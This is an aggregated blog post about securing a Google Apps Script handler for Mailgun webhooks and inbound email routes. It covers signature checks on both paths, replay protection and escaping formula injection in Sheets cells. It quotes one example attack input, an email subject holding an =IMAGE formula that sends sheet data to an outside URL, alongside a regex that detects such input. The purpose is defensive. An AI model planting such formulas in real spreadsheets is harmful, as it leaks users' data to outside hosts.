Dev.to Security 🔐 Cybersecurity 👁 0 📖 10 min read

Your Mailgun Webhook Checks the Signature. Does Your Inbound Route?

A common way to wire Mailgun into a Google Sheet is one Apps Script web app with two jobs. Event webhooks report on mail you sent: delivered, opened, failed. An inbound Route forwards email that arrives at your domain, s

Your Mailgun Webhook Checks the Signature. Does Your Inbound Route?

A common way to wire Mailgun into a Google Sheet is one Apps Script web app with two jobs. Event webhooks report on mail you sent: delivered, opened, failed. An inbound Route forwards email that arrives at your domain, so each message becomes a row. The first version of that handler in my Mailgun guide on the MageSheet blog verified the signature on event webhooks and wrote inbound mail straight to the sheet. The inbound post looks different, so the signature seemed to belong to the other path.

It does not. Mailgun's webhook security guide says it signs every POST it makes to your server, and lists both: event webhooks, and "Inbound Routes – the POST made to your URL by a forward() or store(notify=...) action." Same key, same algorithm, different wrapping. A handler that verifies one path and not the other leaves a public URL that writes any text anyone sends it into your spreadsheet.

Sending through Mailgun's API and logging opens and bounces follow the same pattern as my Mailjet integration guide, so I will not repeat them here. This post is about the receiving side: one doPost that checks the signature on both paths before it writes anything, refuses replays, and keeps attacker-written text from turning into formulas.

Where the signature lives on each path

Each signed POST carries three values: timestamp, token and signature. The signature is a hex HMAC-SHA256 of timestamp + token, keyed with your webhook signing key. Mailgun's guide says that key is account-wide and lives under Settings, API Security, HTTP webhook signing key. It is not your API key and not a per-domain setting.

Only the wrapping differs between the two paths:

Event webhook Inbound Route post
Content type application/json application/x-www-form-urlencoded, or multipart/form-data when the email has attachments
Where the signature is a signature object next to event-data three top-level form fields next to sender, subject, body-plain
What Apps Script gives you e.postData.contents, to parse e.parameter

That last row is where handlers usually branch, and where the inbound branch usually loses its check. The guide's own Node example passes the same three values to the same verify function on both paths.

One check for both paths

The first block is the verification itself. It returns an empty string for a genuine request and a reason for anything else, so the reason can be logged.

const MAX_AGE_S = 900; // Mailgun warns that delivery can be delayed

function hex_(bytes) {
  // Apps Script returns signed bytes (-128..127)
  return bytes
    .map(b => ('0' + (b & 0xff).toString(16)).slice(-2))
    .join('');
}

// Compare every character, so the time taken leaks nothing.
function sameHex_(a, b) {
  if (typeof a !== 'string' || typeof b !== 'string') return false;
  if (a.length !== b.length) return false;
  let diff = 0;
  for (let i = 0; i < a.length; i++) {
    diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
  }
  return diff === 0;
}

// One check for event webhooks and Routes posts alike.
// Returns '' when the request is genuine, else the reason.
function checkSignature_(sig, key, nowS) {
  if (!sig || !sig.timestamp || !sig.token || !sig.signature) {
    return 'missing signature';
  }
  const mac = Utilities.computeHmacSha256Signature(
    String(sig.timestamp) + sig.token, key);
  const sent = String(sig.signature).toLowerCase();
  if (!sameHex_(hex_(mac), sent)) return 'bad signature';
  const age = nowS - Number(sig.timestamp);
  if (!(Math.abs(age) <= MAX_AGE_S)) return 'stale timestamp';
  return '';
}

// Honor each token once. The lock stops two copies of the
// same request from both passing the check.
function firstUse_(token) {
  const lock = LockService.getScriptLock();
  lock.waitLock(10000);
  try {
    const cache = CacheService.getScriptCache();
    if (cache.get('mg:' + token)) return false;
    cache.put('mg:' + token, '1', 2 * MAX_AGE_S);
    return true;
  } finally {
    lock.releaseLock();
  }
}

Four details in there each have a test that fails without them.

b & 0xff. Utilities.computeHmacSha256Signature returns signed bytes, from -128 to 127. Without the mask, about half the bytes turn into strings like -3a and the hex never matches. In my test run every one of 50 MACs had at least one negative byte, so the unmasked version never verifies anything.

!(Math.abs(age) <= MAX_AGE_S) instead of age > MAX_AGE_S. If timestamp is not a number, age is NaN, and NaN > 900 is false, so the stale check passes. Writing it as "not within the window" makes NaN fail. Math.abs also rejects timestamps from the future, which a plain age < 300 lets through.

A window of 15 minutes, not 5. Mailgun's guide says there can be delays outside its control and warns not to be too aggressive with this check. A five-minute window drops a real event that arrives six minutes late.

The token cache. The signature covers only the timestamp and the token, not the body. So a captured signature can be sent again inside the window with different content. Mailgun's guide suggests caching each token and refusing it a second time. firstUse_ does that with CacheService, under a script lock so two copies of the same request cannot both pass.

Verify first, then branch

The handler checks the signature before it decides which kind of request it has. A rejected request gets one row in a Rejected tab with the reason and nothing from the body.

function doPost(e) {
  const key = PropertiesService.getScriptProperties()
    .getProperty('MG_SIGNING_KEY');
  if (!key) throw new Error('MG_SIGNING_KEY is not set');

  const req = parseRequest_(e);
  const why = checkSignature_(req.sig, key, Date.now() / 1000) ||
    (firstUse_(req.sig.token) ? '' : 'token already used');
  if (why) {
    logRejected_(req, why);
    return ContentService.createTextOutput('rejected');
  }
  if (req.kind === 'event') writeEvent_(req.body);
  else writeInbound_(req.body);
  return ContentService.createTextOutput('ok');
}

// Pure: pick the shape from the content type. e.parameter also
// holds the query string, so a field test can be fooled.
function parseRequest_(e) {
  const type = (e.postData && e.postData.type) || '';
  if (type.indexOf('application/json') === 0) {
    let body = {};
    try {
      body = JSON.parse(e.postData.contents);
    } catch (err) {
      body = {};
    }
    return { kind: 'event', type: type,
      sig: body.signature || {}, body: body };
  }
  const p = e.parameter || {};
  return { kind: 'inbound', type: type, body: p,
    sig: { timestamp: p.timestamp, token: p.token,
      signature: p.signature } };
}

parseRequest_ decides the path from the content type, not from whether a field like body-plain is present. e.parameter holds query string values as well as form fields, so a field check can be fooled by the URL alone. When I switched the routing to a body-plain check, a correctly signed JSON event posted to a URL ending in ?body-plain=x went down the inbound branch, found no form signature and was rejected. A real event, lost. The content-type check does not have that problem.

The Rejected tab is how you find out something is wrong. A missing signing key fails loudly with an error. A forged request, a replay or a wrong key leaves a row with a reason. If that tab starts filling up with missing signature, someone has your /exec URL.

One case I could not test outside Google: Mailgun posts inbound mail with attachments as multipart/form-data, and I have not confirmed how e.parameter handles that in a deployed web app. If those fields do not arrive, the request is rejected with missing signature and shows up in the Rejected tab instead of disappearing. Send yourself one email with an attachment after you deploy and check which tab it lands in.

Signed is not the same as safe

A valid signature proves Mailgun delivered the request. It says nothing about the text inside. An inbound Route forwards mail from anyone who can email that address, so the subject and body are written by strangers.

Apps Script's appendRow documentation says: "If a cell's content begins with =, it's interpreted as a formula." So an email with the subject =IMAGE("https://example.com/?"&A1) becomes a live formula in your Inbox tab. Formulas like that can request outside URLs with values from your sheet in the address.

const FORMULA_START = /^[=+\-@\t\r]/;
const CELL_MAX = 50000;

// Inbound text was written by whoever emailed you. A valid
// signature means Mailgun delivered it, not that it is safe.
function cell_(v) {
  let s = v == null ? '' : String(v);
  if (FORMULA_START.test(s)) s = "'" + s;
  if (s.length > CELL_MAX) s = s.slice(0, CELL_MAX - 1) + '…';
  return s;
}

// Pure: one Inbox row. stripped-text drops the quoted thread.
function inboundRow_(p, now) {
  return [now, cell_(p.sender), cell_(p.recipient),
    cell_(p.subject),
    cell_(p['stripped-text'] || p['body-plain']),
    Number(p['attachment-count']) || 0];
}

// Pure: one Events row. user-variables.row joins it to a send.
function eventRow_(data, now) {
  const ev = data['event-data'] || {};
  const headers = (ev.message || {}).headers || {};
  return [now, cell_(ev.event), cell_(ev.recipient),
    cell_((ev['user-variables'] || {}).row),
    cell_(headers['message-id']),
    cell_((ev['delivery-status'] || {}).message)];
}

function writeInbound_(p) {
  sheet_('Inbox').appendRow(inboundRow_(p, new Date()));
}

function writeEvent_(data) {
  sheet_('Events').appendRow(eventRow_(data, new Date()));
}

// No body here: a forged request leaves a trace in the sheet,
// but none of its text.
function logRejected_(req, why) {
  sheet_('Rejected').appendRow(
    [new Date(), req.kind, cell_(req.type), why]);
}

function sheet_(name) {
  const ss = SpreadsheetApp.getActive();
  return ss.getSheetByName(name) || ss.insertSheet(name);
}

cell_ puts an apostrophe in front of anything starting with =, +, - or @, which tells Sheets to keep the value as text. Only = is in Google's documentation. The other three are on the usual CSV-injection list, and escaping them also keeps a phone number like +1 555 0100 from being read as a number. It also cuts anything longer than 50,000 characters, the per-cell limit in Sheets, so one long email does not fail the whole write. Event fields go through cell_ too. They come from Mailgun, but the recipient address and bounce messages contain text other people chose.

How I tested it

Apps Script services do not run outside Google, so I tested the three blocks in Node against a fake Utilities that returns signed bytes the way Apps Script does, plus fake CacheService, LockService and a sheet that records every appendRow. Signatures were computed with Node's crypto, the way Mailgun's own example does it.

29 checks pass. They cover valid events and inbound mail, a forged inbound post with no signature, a wrong signing key on both paths, timestamps an hour old and an hour ahead, a signed non-numeric timestamp, a token used twice, a captured event signature sent again with a new body, formula-shaped subjects and senders, a 60,000-character body, a missing key, broken JSON and the query-string case above.

I also ran the earlier handler, with the inbound branch unverified and a five-minute one-sided window, through the same requests:

Request Earlier handler This version
Inbound post with no signature written to Inbox rejected, logged
JSON post with ?body-plain= in the URL written to Inbox rejected, logged
Event signed an hour in the future written to Events rejected
Same token sent twice two rows one row
Subject =IMAGE(...) stored as a formula stored as text
Real event delayed 400 seconds dropped written

Then I broke my own code twelve ways to check the tests can fail. Verifying only after the inbound branch failed 10 checks. Removing & 0xff failed every signature check. Dropping the token cache failed 3. Removing the formula escape failed 3. Routing by body-plain instead of content type, writing age > MAX_AGE_S, removing Math.abs, escaping only =, removing the 50,000 cut, the lock's finally, the lower-casing of the signature and the missing-key check each failed 1. None of the twelve went unnoticed.

I have not run this against a live Mailgun account. The payload shapes come from Mailgun's documentation, and the apostrophe behaviour comes from how Sheets treats typed input, not from a test in a live sheet.

Pitfalls I would check first

The inbound branch writes before it verifies. Search your handler for the first appendRow and make sure a signature check runs before it on every path.

The signing key is in the wrong place. It is the account-wide HTTP webhook signing key under API Security, not the API key and not a per-domain value. With the wrong key every request fails, and the Rejected tab tells you so.

The window only looks backwards. age < 300 accepts any timestamp in the future. Compare the absolute difference.

A valid signature is replayable. It does not cover the body. Cache the token.

Email text becomes a formula. Anything written by appendRow or setValues that starts with = is a formula. Escape it before it reaches the sheet.

The one thing to keep

There is one public URL, so there should be one gate. Verify the signature, check the timestamp both ways and spend the token before the handler looks at what kind of request it has, and treat every string inside as text someone else wrote. Mailgun's region setting, form-encoded sending and the Route setup are covered on the MageSheet blog.

Built by the MageSheet team.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.